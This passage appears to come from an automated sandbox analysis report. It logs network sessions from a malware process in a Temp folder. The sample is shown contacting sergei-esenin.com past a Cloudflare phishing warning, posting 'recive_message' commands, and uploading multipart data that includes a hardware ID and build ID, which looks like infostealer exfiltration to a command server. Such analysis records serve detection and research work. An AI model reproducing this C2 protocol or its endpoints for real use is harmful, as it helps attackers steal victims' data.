5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1154<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-10-24 16:09:31 UTC	1369	IN	Data Raw: 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e Data Ascii: cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElemen
2024-10-24 16:09:31 UTC	1369	IN	Data Raw: 65 73 73 2d 6d 61 6e 61 67 65 6d 65 6e 74 2f 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b 2f 22 20 63 6c 61 73 73 3d 22 63 66 2d 62 74 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 34 30 34 30 34 30 3b 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 62 6f 72 64 65 72 3a 20 30 3b 22 3e 4c 65 61 72 6e 20 4d 6f 72 65 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 66 6f 72 6d 20 61 63 74 69 6f 6e 3d 22 2f 63 64 6e 2d 63 67 69 2f 70 68 69 73 68 2d 62 79 70 61 73 73 22 20 6d 65 74 68 6f 64 3d 22 47 45 54 22 20 65 6e 63 74 79 70 65 3d 22 74 65 78 74 2f 70 6c 61 69 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: ess-management/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">Learn More</a> <form action="/cdn-cgi/phish-bypass" method="GET" enctype="text/plain">
2024-10-24 16:09:31 UTC	899	IN	Data Raw: 37 31 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 61 6d 70 3b 20 73 65 63 75 72 69 74 79 20 62 79 3c 2f 73 70 61 6e 3e 20 3c 61 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 35 78 78 2d 65 72 72 6f 72 2d 6c 61 6e 64 Data Ascii: 71</span> <span class="cf-footer-separator sm:hidden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-land
2024-10-24 16:09:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	50004	104.21.53.8	443	4020	C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 16:09:32 UTC	354	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=paFJQbaInRd0Muv09apkhxhjAT.rmcrFXquaMGyGUio-1729786171-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: sergei-esenin.com
2024-10-24 16:09:32 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-24 16:09:32 UTC	1014	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 16:09:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=299ncol1boi0m0ndqfdj6aibs6; expires=Mon, 17 Feb 2025 09:56:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0jrlShxvNzvAH1IVTeSGTukN0LGm64RXgdXXLgJEzgPvdnozMEUvXirax%2BF028yPVAYoPc0JkFYi5PXmup6OrMic38fr7YQoSy5NVkXXhnzXnMc2%2BufYi60jNUNnnaj1T2ZkYQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7b3b58ef696b7c-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1191&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=1042&delivery_rate=2379622&cwnd=247&unsent_bytes=0&cid=6c614498ca95cd6e&ts=521&x=0"
2024-10-24 16:09:32 UTC	355	IN	Data Raw: 34 34 36 63 0d 0a 5a 52 55 36 79 31 6f 74 65 43 6b 53 52 48 79 32 4a 61 4d 42 79 62 44 4c 52 4b 79 30 44 30 32 4b 67 59 36 73 34 30 66 65 35 32 59 65 4e 30 7a 70 59 42 6c 55 43 32 45 68 58 6f 78 52 30 58 53 73 6e 4f 6b 6c 79 4a 59 31 4b 2b 76 74 2f 63 6e 50 5a 61 69 4b 52 46 39 7a 57 36 63 70 53 46 51 4c 64 7a 78 65 6a 48 37 59 49 36 7a 65 36 58 36 4f 30 57 55 76 36 2b 33 73 7a 59 67 6f 72 6f 73 46 44 58 6c 64 6f 7a 39 4f 48 45 68 2b 4b 52 6e 54 51 4d 4a 72 70 39 6d 6d 4c 4d 47 57 49 32 2f 76 2b 36 79 57 77 51 71 37 6b 77 63 6f 64 45 6d 67 65 46 42 55 55 6a 41 68 45 70 51 66 67 57 43 73 30 71 63 69 79 4e 39 6e 4a 65 4c 6c 37 63 69 4a 4e 37 65 42 44 67 31 33 58 71 49 31 52 77 68 46 64 43 34 53 31 55 72 43 49 2b 57 53 72 6a 36 4f 6a 69 31 38 32 75 44 39 33 Data Ascii: 446cZRU6y1oteCkSRHy2JaMBybDLRKy0D02KgY6s40fe52YeN0zpYBlUC2EhXoxR0XSsnOklyJY1K+vt/cnPZaiKRF9zW6cpSFQLdzxejH7YI6ze6X6O0WUv6+3szYgorosFDXldoz9OHEh+KRnTQMJrp9mmLMGWI2/v+6yWwQq7kwcodEmgeFBUUjAhEpQfgWCs0qciyN9nJeLl7ciJN7eBDg13XqI1RwhFdC4S1UrCI+WSrj6Oji182uD93
2024-10-24 16:09:32 UTC	1369	IN	Data Raw: 68 70 5a 65 43 30 56 30 56 58 4b 61 71 62 66 71 53 76 45 32 57 34 76 37 2b 6e 6d 77 59 73 68 73 59 67 43 42 33 63 59 35 33 68 49 41 67 73 6f 5a 6a 33 52 56 38 5a 76 76 5a 43 54 5a 74 47 59 64 47 2f 76 37 36 79 57 77 53 32 35 68 67 63 4d 65 46 75 68 4d 31 30 61 57 58 59 72 47 38 5a 42 78 47 32 68 30 62 73 73 77 4e 42 75 4a 75 50 71 36 63 6d 46 5a 66 4c 46 41 78 38 33 41 4f 6b 5a 51 68 46 48 65 6a 45 65 6c 46 69 50 65 75 76 56 70 57 61 57 6c 6d 6b 75 37 4f 4c 6f 77 49 38 68 73 49 4d 4b 43 6e 68 65 6f 7a 68 49 45 45 4e 34 4a 78 50 66 53 4d 46 6d 70 74 61 76 4b 73 2f 54 4c 57 47 6f 35 50 53 4f 32 57 57 53 67 67 63 56 4e 57 32 71 4e 6b 45 64 58 54 41 35 55 4d 30 48 78 6d 2f 72 69 75 6b 6f 79 39 6c 2f 4c 76 72 6d 34 74 79 4e 49 4c 71 49 42 77 6c 33 58 61 34 31 Data Ascii: hpZeC0V0VXKaqbfqSvE2W4v7+nmwYshsYgCB3cY53hIAgsoZj3RV8ZvvZCTZtGYdG/v76yWwS25hgcMeFuhM10aWXYrG8ZBxG2h0bsswNBuJuPq6cmFZfLFAx83AOkZQhFHejEelFiPeuvVpWaWlmku7OLowI8hsIMKCnheozhIEEN4JxPfSMFmptavKs/TLWGo5PSO2WWSggcVNW2qNkEdXTA5UM0Hxm/riukoy9l/Lvrm4tyNILqIBwl3Xa41
2024-10-24 16:09:32 UTC	1369	IN	Data Raw: 41 35 55 4d 30 48 78 6d 2f 72 69 75 6b 71 78 39 5a 6d 4a 65 7a 6a 36 38 4f 45 4a 72 75 47 43 51 42 39 56 71 34 38 51 78 4e 47 64 69 59 5a 30 45 4c 54 5a 71 4c 65 70 57 61 41 6c 6d 6f 33 71 4c 75 73 34 59 59 7a 76 36 6f 48 46 6e 34 59 74 6e 5a 57 57 6b 78 38 5a 6b 61 55 51 4d 52 72 6f 4e 53 68 4a 74 7a 54 59 79 54 70 36 65 72 50 6a 43 6d 36 68 51 55 48 63 56 53 70 50 30 67 49 57 58 55 67 44 4e 34 48 6a 79 4f 73 79 75 6c 2b 6a 75 42 39 4f 50 6e 31 72 76 75 43 4b 37 4b 43 45 6b 64 6f 46 72 42 34 53 42 59 4c 4b 47 59 56 31 45 76 47 61 36 33 57 6f 53 6e 42 33 33 38 75 35 4f 33 2b 79 59 45 73 73 6f 6f 49 44 6e 70 66 70 44 4e 46 46 30 39 33 4a 31 36 61 42 38 5a 37 36 34 72 70 45 4e 37 62 59 51 48 6a 37 2b 57 4f 6e 6d 75 6c 78 51 4d 4c 4e 77 44 70 50 45 4d 53 51 Data Ascii: A5UM0Hxm/riukqx9ZmJezj68OEJruGCQB9Vq48QxNGdiYZ0ELTZqLepWaAlmo3qLus4YYzv6oHFn4YtnZWWkx8ZkaUQMRroNShJtzTYyTp6erPjCm6hQUHcVSpP0gIWXUgDN4HjyOsyul+juB9OPn1rvuCK7KCEkdoFrB4SBYLKGYV1EvGa63WoSnB338u5O3+yYEssooIDnpfpDNFF093J16aB8Z764rpEN7bYQHj7+WOnmulxQMLNwDpPEMSQ
2024-10-24 16:09:32 UTC	1369	IN	Data Raw: 52 51 38 5a 6e 72 64 33 70 61 49 37 52 64 57 2b 77 6f 38 50 70 74 47 65 64 76 30 51 59 4f 55 48 70 50 30 4e 61 45 7a 41 71 48 64 68 50 7a 6d 57 69 33 71 4d 76 78 64 70 6d 4b 2b 54 71 36 63 69 41 49 4c 6d 45 41 41 74 39 58 71 6f 37 51 42 56 45 65 47 5a 51 6c 45 44 5a 49 2f 4f 53 6a 44 48 46 32 47 74 76 39 36 33 31 6a 6f 59 70 2f 4e 31 45 43 33 35 65 72 7a 31 44 47 30 31 34 49 78 62 51 52 73 64 6c 71 4e 32 74 49 38 2f 5a 61 53 50 6d 36 65 33 50 6a 53 36 7a 6a 67 46 48 4f 52 69 75 49 41 39 43 43 30 45 6c 43 4d 4e 58 7a 53 4f 30 6e 4c 42 6d 79 64 6f 74 64 36 6a 69 2f 73 53 4c 4b 37 6d 4b 41 51 52 34 58 36 51 2b 51 78 42 43 65 43 41 52 33 56 58 43 62 36 58 56 70 79 72 41 32 32 63 73 35 61 4f 69 6a 6f 59 39 2f 4e 31 45 4b 33 42 56 68 7a 4e 44 48 51 74 76 61 41 Data Ascii: RQ8Znrd3paI7RdW+wo8PptGedv0QYOUHpP0NaEzAqHdhPzmWi3qMvxdpmK+Tq6ciAILmEAAt9Xqo7QBVEeGZQlEDZI/OSjDHF2Gtv9631joYp/N1EC35erz1DG014IxbQRsdlqN2tI8/ZaSPm6e3PjS6zjgFHORiuIA9CC0ElCMNXzSO0nLBmydotd6ji/sSLK7mKAQR4X6Q+QxBCeCAR3VXCb6XVpyrA22cs5aOijoY9/N1EK3BVhzNDHQtvaA
2024-10-24 16:09:32 UTC	1369	IN	Data Raw: 5a 4c 4f 53 38 57 62 34 30 58 30 2f 36 36 48 64 32 49 49 7a 74 34 67 49 52 32 67 57 73 48 68 49 46 67 73 6f 5a 68 6a 62 54 73 4a 73 71 74 75 6c 4b 38 76 66 61 43 37 75 35 2b 62 45 67 53 4f 36 68 41 45 4e 64 46 6d 6a 4d 55 67 53 54 48 4d 30 58 70 6f 48 78 6e 76 72 69 75 6b 50 79 63 52 6a 50 36 6a 38 6f 74 66 42 49 72 44 46 58 45 64 7a 55 71 59 38 53 42 5a 4e 64 53 41 54 31 55 6a 41 59 36 54 57 6f 69 2f 49 31 32 41 71 35 65 66 2b 78 49 6f 71 73 49 77 49 43 6a 63 57 36 54 39 58 57 68 4d 77 46 78 50 61 53 63 5a 31 36 38 33 6e 50 34 37 52 59 57 2b 77 6f 2b 33 43 6a 69 61 7a 68 67 63 47 66 55 71 37 4e 45 59 53 54 6e 77 74 45 4e 4a 56 78 32 79 69 30 61 6f 76 79 64 35 68 4a 65 76 6b 72 49 44 42 49 71 54 46 58 45 64 55 54 37 6b 31 44 77 55 46 61 57 59 5a 32 41 65 Data Ascii: ZLOS8Wb40X0/66Hd2IIzt4gIR2gWsHhIFgsoZhjbTsJsqtulK8vfaC7u5+bEgSO6hAENdFmjMUgSTHM0XpoHxnvriukPycRjP6j8otfBIrDFXEdzUqY8SBZNdSAT1UjAY6TWoi/I12Aq5ef+xIoqsIwICjcW6T9XWhMwFxPaScZ1683nP47RYW+wo+3CjiazhgcGfUq7NEYSTnwtENJVx2yi0aovyd5hJevkrIDBIqTFXEdUT7k1DwUFaWYZ2Ae
2024-10-24 16:09:32 UTC	1369	IN	Data Raw: 4b 77 67 77 64 6c 6b 4a 75 7a 72 37 38 36 46 49 62 75 41 42 77 74 38 58 36 6f 33 53 78 4e 46 65 53 6c 65 6d 67 66 47 65 2b 75 4b 36 51 66 56 31 57 45 69 71 50 79 69 31 38 45 69 73 4d 56 63 52 33 74 57 72 44 68 46 48 45 39 31 49 42 54 52 52 38 70 67 70 4e 61 76 49 73 48 57 5a 69 62 70 35 65 6e 45 69 69 4f 78 68 67 49 42 4e 78 62 70 50 31 64 61 45 7a 41 47 42 64 6c 4c 78 69 4f 30 6e 4c 42 6d 79 64 6f 74 64 36 6a 6f 34 4d 71 47 4a 62 47 47 44 41 4a 7a 55 71 77 34 52 77 68 44 63 43 45 4d 78 6b 66 49 5a 71 66 52 71 53 4c 49 33 32 73 73 37 4b 4f 69 6a 6f 59 39 2f 4e 31 45 4b 6e 74 66 67 44 39 55 57 6c 51 2b 50 31 37 54 53 34 45 37 36 39 4f 69 4c 4d 48 62 62 69 6e 72 36 4f 6e 45 67 43 4b 30 69 42 59 45 65 46 65 74 4f 45 41 63 54 58 45 70 47 4e 4e 4f 77 47 75 73 Data Ascii: KwgwdlkJuzr786FIbuABwt8X6o3SxNFeSlemgfGe+uK6QfV1WEiqPyi18EisMVcR3tWrDhFHE91IBTRR8pgpNavIsHWZibp5enEiiOxhgIBNxbpP1daEzAGBdlLxiO0nLBmydotd6jo4MqGJbGGDAJzUqw4RwhDcCEMxkfIZqfRqSLI32ss7KOijoY9/N1EKntfgD9UWlQ+P17TS4E769OiLMHbbinr6OnEgCK0iBYEeFetOEAcTXEpGNNOwGus
2024-10-24 16:09:32 UTC	1369	IN	Data Raw: 44 78 65 79 58 76 38 2b 76 5a 6a 6d 58 79 78 51 74 48 4c 32 48 70 4d 55 67 42 57 6d 59 72 44 74 4d 48 2f 69 33 72 79 75 6c 2b 6a 75 4e 75 49 65 62 6b 2b 74 2f 4d 41 71 71 50 41 78 64 77 54 36 5a 34 41 56 70 4e 4d 48 35 4e 6d 67 66 46 63 75 75 4b 2b 58 53 56 67 7a 35 34 75 4c 48 7a 67 4a 68 6c 71 73 56 63 56 54 6b 59 75 33 67 58 57 67 78 7a 4e 41 7a 53 52 4e 64 67 37 4f 79 58 41 64 54 62 61 7a 6a 35 33 64 4c 4a 6d 79 69 36 6b 68 56 4c 59 6c 75 6e 4e 6b 67 4d 43 7a 35 6d 45 5a 51 66 2b 43 50 6a 6b 70 5a 6f 6a 73 34 74 64 36 6a 57 37 38 43 50 49 71 71 55 53 53 42 74 56 61 38 76 58 6c 6f 46 4d 43 42 65 6a 42 65 50 49 36 2f 44 36 58 36 65 68 44 5a 36 75 37 53 38 6e 4a 35 72 70 63 55 53 52 79 38 4b 35 33 68 64 57 68 4d 77 59 52 33 47 56 63 64 67 76 64 48 75 47 Data Ascii: DxeyXv8+vZjmXyxQtHL2HpMUgBWmYrDtMH/i3ryul+juNuIebk+t/MAqqPAxdwT6Z4AVpNMH5NmgfFcuuK+XSVgz54uLHzgJhlqsVcVTkYu3gXWgxzNAzSRNdg7OyXAdTbazj53dLJmyi6khVLYlunNkgMCz5mEZQf+CPjkpZojs4td6jW78CPIqqUSSBtVa8vXloFMCBejBePI6/D6X6ehDZ6u7S8nJ5rpcUSRy8K53hdWhMwYR3GVcdgvdHuG
2024-10-24 16:09:32 UTC	1369	IN	Data Raw: 76 33 65 44 69 77 49 59 7a 72 63 67 6a 43 58 42 5a 76 79 68 59 46 51 73 2b 5a 68 69 55 48 35 4d 74 36 39 61 34 5a 70 61 47 50 33 53 39 73 4c 75 65 30 7a 72 79 6e 45 51 52 4e 77 44 37 64 67 38 49 43 79 68 6d 57 64 64 56 30 32 57 6f 78 4b 70 68 38 4f 68 4b 49 65 2f 69 2b 74 36 57 4b 76 4f 72 4d 69 5a 4a 5a 72 77 37 51 52 52 4d 5a 6a 64 65 6d 67 66 4f 49 2f 50 72 36 57 36 4f 36 53 4e 76 38 4b 4f 30 6a 72 51 6d 73 6f 73 44 45 57 59 56 6a 6a 5a 49 47 31 31 67 4d 52 47 62 61 66 64 43 36 35 7a 70 49 49 36 4f 50 32 47 6f 35 2f 32 4f 32 58 58 75 33 6c 46 55 49 41 6a 37 4a 77 45 44 43 32 5a 6d 52 6f 59 4a 67 58 48 72 69 75 6c 68 7a 63 52 2f 4b 65 76 31 37 34 6d 2f 47 35 75 4c 41 77 5a 68 53 4b 51 30 62 68 6c 61 65 68 67 67 77 55 54 50 62 61 7a 45 75 47 61 41 6c 6d Data Ascii: v3eDiwIYzrcgjCXBZvyhYFQs+ZhiUH5Mt69a4ZpaGP3S9sLue0zrynEQRNwD7dg8ICyhmWddV02WoxKph8OhKIe/i+t6WKvOrMiZJZrw7QRRMZjdemgfOI/Pr6W6O6SNv8KO0jrQmsosDEWYVjjZIG11gMRGbafdC65zpII6OP2Go5/2O2XXu3lFUIAj7JwEDC2ZmRoYJgXHriulhzcR/Kev174m/G5uLAwZhSKQ0bhlaehggwUTPbazEuGaAlm
2024-10-24 16:09:32 UTC	1369	IN	Data Raw: 2b 74 75 43 4e 62 75 37 4f 69 70 6c 58 37 6b 37 44 54 5a 4d 66 53 6f 67 36 6e 44 51 5a 4c 75 51 6a 79 58 59 31 53 31 68 71 50 75 73 6c 73 45 49 72 6f 49 55 42 44 56 30 72 6a 56 44 57 6c 51 2b 50 31 37 43 42 35 6b 77 35 5a 4b 37 5a 70 61 57 4b 69 7a 36 38 65 72 4e 6c 79 62 37 75 7a 6f 71 5a 56 2b 35 4f 77 30 72 52 6e 51 77 43 39 64 58 78 6c 32 56 2f 37 73 68 33 74 55 76 43 74 4b 68 33 64 69 43 4a 62 4b 43 52 45 6b 33 51 4f 6c 67 44 7a 64 5a 64 7a 59 64 6c 6d 4c 37 49 5a 72 45 71 69 62 41 30 53 30 77 70 76 71 73 32 4d 46 39 37 38 74 45 46 54 63 41 36 58 39 42 46 30 70 7a 4b 42 33 47 56 63 64 67 76 64 48 75 47 50 44 35 5a 69 37 34 37 76 33 44 68 54 4f 43 75 79 4d 42 63 6c 2b 58 42 6e 67 4c 54 47 42 6b 4f 4e 64 52 77 69 50 6c 6b 72 46 6d 6c 70 5a 4b 4b 65 33 Data Ascii: +tuCNbu7OiplX7k7DTZMfSog6nDQZLuQjyXY1S1hqPuslsEIroIUBDV0rjVDWlQ+P17CB5kw5ZK7ZpaWKiz68erNlyb7uzoqZV+5Ow0rRnQwC9dXxl2V/7sh3tUvCtKh3diCJbKCREk3QOlgDzdZdzYdlmL7IZrEqibA0S0wpvqs2MF978tEFTcA6X9BF0pzKB3GVcdgvdHuGPD5Zi747v3DhTOCuyMBcl+XBngLTGBkONdRwiPlkrFmlpZKKe3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	50005	104.21.53.8	443	4020	C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 16:09:33 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=paFJQbaInRd0Muv09apkhxhjAT.rmcrFXquaMGyGUio-1729786171-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12864 Host: sergei-esenin.com
2024-10-24 16:09:33 UTC	12864	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 37 45 30 37 42 38 45 45 36 30 44 32 43 46 43 30 36 37 41 34 39 46 46 33 38 32 41 32 33 43 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"B7E07B8EE60D2CFC067A49FF382A23CE--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 16:09:34 UTC	1019	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 16:09:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8katksv7qq3ub8mmg2igngb0uq; expires=Mon, 17 Feb 2025 09:56:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lTCP3se8t7qjME67ZRURkjb0nZOuiJu6D%2FWy1%2BZWexOV1QFgOGkFHcurOhm6aKNV53tcZcVBcJB%2BcAvEXQLnrwaNJpvRApQa9oIkszliQbTSMhZJTbSlmDgnV1lQEn3jszIXkQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7b3b62a8d57d5b-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1280&sent=10&recv=19&lost=0&retrans=0&sent_bytes=2846&recv_bytes=13894&delivery_rate=2458404&cwnd=251&unsent_bytes=0&cid=bb0af040983d65ce&ts=718&x=0"
2024-10-24 16:09:34 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 16:09:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	50010	104.21.53.8	443	4020	C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 16:09:36 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=paFJQbaInRd0Muv09apkhxhjAT.rmcrFXquaMGyGUio-1729786171-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15110 Host: sergei-esenin.com
2024-10-24 16:09:36 UTC	15110	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 37 45 30 37 42 38 45 45 36 30 44 32 43 46 43 30 36 37 41 34 39 46 46 33 38 32 41 32 33 43 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"B7E07B8EE60D2CFC067A49FF382A23CE--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 16:09:36 UTC	1011	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 16:09:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gjjpu1ctuvvklk7nr4eo37l4qb; expires=Mon, 17 Feb 2025 09:56:15 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vdKQJXbP2C9apQuHLDkhvirLLJNj8SqztFt1i543KjMCIOikC3PreGz1PK9beJTwpZe6RLbygmXrmnFSaCrfYdX1MjGiXILsX3ADBsoxHEexUFycCCOz9S1cMZbxdbU0KKIgCw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7b3b716c38c871-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1297&sent=9&recv=20&lost=0&retrans=0&sent_bytes=2846&recv_bytes=16140&delivery_rate=2146775&cwnd=97&unsent_bytes=0&cid=980102953403b360&ts=449&x=0"
